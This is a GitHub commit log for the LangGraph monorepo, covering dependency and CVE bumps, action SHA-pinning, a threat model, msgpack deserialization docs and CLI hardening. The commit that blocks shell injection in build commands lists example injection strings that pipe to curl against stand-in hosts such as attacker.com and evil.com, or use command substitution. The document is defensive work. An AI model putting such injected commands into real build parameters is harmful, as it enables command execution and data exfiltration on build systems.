15 Commits
Author SHA1 Message Date
John KennedyGitHubClaudeopen-swe[bot] <215916821+open-swe[bot]@users.noreply.github.com>
2b1abc807b chore: migrate Python type checking to ty (#8002)
## Summary
- replace Python lint type-checking from mypy to ty across LangGraph
packages
- remove mypy config/cache wiring and mypy-only references
- regenerate uv locks with ty 0.0.43

## Verification
- git diff --check
- make lint_package && make lint_tests in libs/langgraph
- make lint_package && make lint_tests in libs/checkpoint
- make lint_package && make lint_tests in libs/checkpoint-sqlite
- make lint_package && make lint_tests in libs/checkpoint-postgres
- make lint_package && make lint_tests in libs/prebuilt
- make lint_package && make lint_tests in libs/cli
- make lint in libs/sdk-py
- make lint in libs/checkpoint-conformance

---------

Co-authored-by: Claude <noreply@anthropic.com>
Co-authored-by: open-swe[bot] <215916821+open-swe[bot]@users.noreply.github.com>
2026-06-05 10:55:47 -04:00
eec0b3b83c ci: allow deps-dev scope in PR title lint (#7998)
## Problem

Dependabot opens dev-dependency PRs with titles like `chore(deps-dev):
bump mypy ...`. The `lint-pr-title` check
(amannn/action-semantic-pull-request) rejects them because **`deps-dev`
is not in the allowed scopes**:

```
Unknown scope "deps-dev" found in pull request title ...
Scope must match one of: checkpoint, checkpoint-postgres, checkpoint-sqlite, cli, langgraph, prebuilt, scheduler-kafka, sdk-py, docs, ci, deps.
```

This is the **only** failing check on several open Dependabot PRs
(#7977, #7966, #7967, #7968) and adds noise to others (#7969, #7970,
#7974).

## Change

Add `deps-dev` to the allowed `scopes:` list in
`.github/workflows/pr_lint.yml` (one line). No other changes; workflow
permissions remain `pull-requests: read`.

## Effect

Existing and future `chore(deps-dev):` Dependabot PRs pass title
validation. PRs blocked *only* by this become mergeable once their
(passing) checks re-run.

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
2026-06-02 22:59:34 -07:00
7fa49bd550 docs: document LANGGRAPH_STRICT_MSGPACK for checkpoint security (#7517)
## Summary

- Add `LANGGRAPH_STRICT_MSGPACK=true` guidance to `JsonPlusSerializer`
docstring and inline comments
- Update the warning message emitted for unregistered types to mention
the env var
- Add module docstring to `_msgpack.py` explaining the safety controls
- Add Security sections to checkpoint, checkpoint-postgres, and
checkpoint-sqlite READMEs

## Context

Multiple security advisories have reported the same msgpack
deserialization pattern (`ext_hook` → `importlib.import_module` →
`getattr` → call). The underlying behavior is documented in the repo's
threat model as T1, but the `LANGGRAPH_STRICT_MSGPACK` env var that
mitigates it is not surfaced in user-facing docs, docstrings, or warning
messages. This PR closes that gap.

## Test plan

- [x] Verify READMEs render correctly on GitHub (callout boxes use `>
[!IMPORTANT]` syntax)
- [x] Verify `JsonPlusSerializer` docstring renders in IDE tooltips
- [x] Confirm warning message format: `LANGGRAPH_STRICT_MSGPACK=true
PYTHON_CMD 2>&1 | grep -i strict`

---------

Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-04-15 13:05:55 -07:00
13528ef3ae fix: moving threat model to .github/ (#7360)
Moves threat model to .github/ if we want to

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-31 08:48:12 -04:00
1fd51e8f2a docs: add threat model for LangGraph monorepo (#7026)
## Summary

- Adds `THREAT_MODEL.md` mapping trust boundaries, data flows, and
threats across all 7 Python libraries in the monorepo
- Documents 14 components, 4 trust boundaries, 11 data flows, 8 threats,
and 8 out-of-scope patterns
- Integrates context from 4 published security advisories
(GHSA-mhr3-j7m5-c7c9, GHSA-9rwj-6rc7-p77c, GHSA-wwqv-p2pp-99h5,
GHSA-7p73-8jqx-23r8)
- Covers checkpoint deserialization risks (T1-T3), RemoteGraph inbound
validation (T4), CLI Dockerfile injection (T5), and encrypted serializer
concerns (T7-T8)
- Documents open-source responsibility model with detailed out-of-scope
threat rationale

## Test plan

- [x] Verify trust boundary descriptions match current code behavior
- [ ] Confirm out-of-scope patterns align with project's security
responsibility model

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-30 20:38:48 -07:00
John KennedyandGitHub 3c0b99f295 chore: update dependabot.yml to comply with posture checks (#7278)
## Summary

- Changes all 11 dependabot entries from `weekly` to `monthly` schedule
to reduce PR noise
- Removes `day: monday` (only valid for weekly cadence)
- Adds `update-types` split to every entry so breaking major upgrades
arrive in a separate PR from safe minor/patch updates

**Before:** one wildcard group, weekly, major and minor/patch mixed
together
**After:** two groups (`minor-and-patch` / `major`), monthly

## Test plan

- [x] Confirm dependabot picks up the new config (check Insights →
Dependency graph → Dependabot)
- [ ] Verify next scheduled run produces two grouped PRs per ecosystem
(minor+patch bundle, major bundle) rather than one-per-dep

🤖 Generated with [Claude Code](https://claude.com/claude-code)
2026-03-25 10:59:11 -07:00
John KennedyandGitHub bcf3077267 ci: SHA-pin all third-party GitHub Actions (#7277)
## Summary

- SHA-pins 7 distinct third-party actions across 10 workflow files to
full commit SHAs
- Prevents supply chain attacks via tag hijacking (mutable tags can be
force-pushed by a compromised maintainer account)
- Tag retained as an inline comment for readability

| Action | Before | After |
|--------|--------|-------|
| `dorny/paths-filter` | `@v4` | `@fbd0ab8...` |
| `Ana06/get-changed-files` | `@v2.3.0` | `@25f79e6...` |
| `docker/login-action` | `@v4` | `@b45d80f...` |
| `pypa/gh-action-pypi-publish` | `@release/v1` | `@ed0c539...` |
| `ncipollo/release-action` | `@v1` | `@339a818...` |
| `amannn/action-semantic-pull-request` | `@v6` | `@48f2562...` |
| `peter-evans/create-pull-request` | `@v8` | `@c0f553f...` |

## Test plan

- [x] CI passes on this PR
- [x] Verify each pinned action still functions (no behaviour change,
only ref format)

🤖 Generated with [Claude Code](https://claude.com/claude-code)
2026-03-25 10:58:38 -07:00
469b5f5535 chore(deps): bump langgraph to 1.1.2 in cli example fixtures (#7211)
## Summary

- Bumps `langgraph` from stale pinned versions (`1.0.8` / `1.0.0a2`) to
`1.1.2` in three CLI example fixture directories
- Supersedes dependabot PR #7090 which only got as far as `1.0.10rc1`

## Affected files

- `libs/cli/examples/graph_prerelease_reqs/pyproject.toml`: `1.0.8` →
`1.1.2`
-
`libs/cli/examples/graph_prerelease_reqs/deps/additional_deps/pyproject.toml`:
`1.0.8` → `1.1.2`
- `libs/cli/examples/graph_prerelease_reqs_fail/pyproject.toml`:
`1.0.0a2` → `1.1.2`

Closes #7090

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude <noreply@anthropic.com>
2026-03-17 19:43:22 +00:00
e00a027579 fix(cli): block shell injection chars in build/install commands (#7044)
## Summary
- Adds `|`, `;`, `$`, `>`, `<`, `\t` to `DISALLOWED_BUILD_COMMAND_CHARS`
to prevent command injection in CLI `build_command` / `install_command`
parameters
- Previously these values were interpolated directly into Dockerfile
`RUN` directives with no validation
- Single `&` is blocked (background execution) while `&&` remains
allowed since it's commonly used in build commands (e.g. `npm install &&
npm build`)
- Adds `has_disallowed_build_command_content()` validation function and
applies it in the `build` CLI command
- Mirrors langchain-ai/langchainplus#19143

**Attack examples now blocked:**
- `pip install foo | curl attacker.com` (pipe)
- `npm install; curl evil.com` (semicolon)
- `pip install $(whoami)` (command substitution)
- `pip install ${IFS}evil` (variable expansion)
- `npm install & curl evil.com` (background execution)

## Test Plan
- [x] 27 new unit tests covering all disallowed chars, injection
patterns, single `&` rejection, `&&` allowance, and valid commands
- [x] All 64 tests in `test_config.py` pass (37 existing + 27 new)

🤖 Generated with [Claude Code](https://claude.com/claude-code)

---------

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-06 21:14:57 +00:00
79a75645ca fix: bump minimatch to resolve CVE-2026-26996, CVE-2026-27903, CVE-2026-27904 (#6968)
## CVE Fix: minimatch

**Package:** `minimatch`
**CVEs:** CVE-2026-26996, CVE-2026-27903, CVE-2026-27904 (all HIGH)
**Vulnerable versions:** `< 3.1.4`, `>= 9.0.0 < 9.0.7`, `>= 10.0.0 <
10.2.3`
**Resolved versions:** `3.1.5`, `9.0.9`, `10.2.4`

### Fix strategy

Lockfile re-resolution (transitive dependency). Removed stale minimatch
resolution entries from yarn.lock files and ran `yarn install` to
re-resolve to the latest compatible versions.

### Files changed

- `libs/cli/js-examples/yarn.lock`
- `libs/cli/js-monorepo-example/yarn.lock`

### Verification

- [x] Lockfile updated — resolved versions are now 3.1.5, 9.0.9, 10.2.4
- [x] All 3 CVEs resolved in both lockfiles

🤖 Submitted by langster-patch

Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
2026-02-27 17:04:40 -08:00
ea20432b9b fix: bump js-yaml to 3.14.2 to resolve CVE-2025-64718 (#6879)
## Security Alert Patch

Resolves 1 Dependabot security alert (medium severity).

### Package Updated

| Package | Old Version | New Version | Strategy | CVE Resolved |
|---------|-------------|-------------|----------|--------------|
| `js-yaml` | 3.14.1 | 3.14.2 | Lockfile patch (within-range bump) |
CVE-2025-64718 |

### CVE Details

**CVE-2025-64718** /
[GHSA-mh29-5h37-fv8m](https://github.com/advisories/GHSA-mh29-5h37-fv8m)
— `js-yaml` prototype pollution via YAML merge keys (`<<`). Affects
versions < 3.14.2.

The vulnerable package is a transitive dev dependency pulled in by
`@istanbuljs/load-nyc-config@1.1.0` (a Jest internal). No runtime
impact.

### Fix Strategy

Lockfile-only patch in `libs/cli/js-examples/yarn.lock`. The `^3.13.1`
version range already allows 3.14.2, so no manifest changes were needed.
The `js-yaml@^4.1.1` entry (used by `@eslint/eslintrc`) is untouched.

### Verification

- [x] Lockfile updated — `js-yaml@^3.13.1` now resolves to `3.14.2`
- [x] `js-yaml@^4.1.1` entry unchanged (`4.1.1`)
- [x] `yarn install --frozen-lockfile` passes

🤖 Submitted by langster-patch

Co-authored-by: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-02-19 19:41:51 +00:00
John KennedyandGitHub e931c68669 fix: actual fix for workflow (#6854)
Another attempt at fixing `_integration_test.yml`
2026-02-17 11:31:08 -08:00
John KennedyandGitHub 666c224c2d chore: bump orjson (#6852)
The orjson.dumps function in orjson thru 3.11.4 does not limit recursion
for deeply nested JSON documents.
2026-02-17 10:30:58 -08:00
John KennedyandGitHub 2b416f6f47 fix: secret ref (#6847) 2026-02-17 09:50:23 -08:00
John KennedyandGitHub 34769f31bc chore: update dependabot.yml to comply with posture checks (#6780)
- Add schedule.day: monday to all entries
- Add groups configuration to prevent noisy per-dependency PRs
- Split pip directories into individual entries per Dependabot v2 spec
- Add npm ecosystem entries for js-examples and js-monorepo-example
subdirectories
- Specify package-manager: uv for all Python entries (repo uses uv.lock)

Thank you for contributing to LangGraph! Follow these steps to mark your
pull request as ready for review. **If any of these steps are not
completed, your PR will not be considered for review.**

- [x] **PR title**: Follows the format: {TYPE}({SCOPE}): {DESCRIPTION}
  - Examples:
    - feat(core): add multi-tenant support
    - fix(cli): resolve flag parsing error
    - docs(openai): update API usage examples
  - Allowed `{TYPE}` values:
- feat, fix, docs, style, refactor, perf, test, build, ci, chore,
revert, release
  - Allowed `{SCOPE}` values (optional):
- langgraph, docs, cli, checkpoint, checkpoint-postgres,
checkpoint-sqlite, prebuilt, scheduler-kafka, sdk-py
- Once you've written the title, please delete this checklist item; do
not include it in the PR.

- [x] **PR message**: ***Delete this entire checklist*** and replace
with
- **Description:** a description of the change. Include a [closing
keyword](https://docs.github.com/en/issues/tracking-your-work-with-issues/using-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)
if applicable.
  - **Issue:** the issue # it fixes, if applicable
  - **Dependencies:** any dependencies required for this change
- **Twitter handle:** if your PR gets announced, and you'd like a
mention, we'll gladly shout you out!

- [x] **Add tests and docs**: If you're adding a new integration, you
must include:
1. A test for the integration, preferably unit tests that do not rely on
network access,
2. An example notebook showing its use. It lives in
`docs/docs/integrations` directory.

- [x] **Lint and test**: Run `make format`, `make lint` and `make test`
from the root of the package(s) you've modified. We will not consider a
PR unless these three are passing in CI. See [contribution
guidelines](https://docs.langchain.com/oss/python/contributing/overview)
for more.

Additional guidelines:

- Make sure optional dependencies are imported within a function.
- Please do not add dependencies to `pyproject.toml` files (even
optional ones) unless they are **required** for unit tests.
- Most PRs should not touch more than one package.
- Changes should be backwards compatible.
2026-02-14 11:36:12 -08:00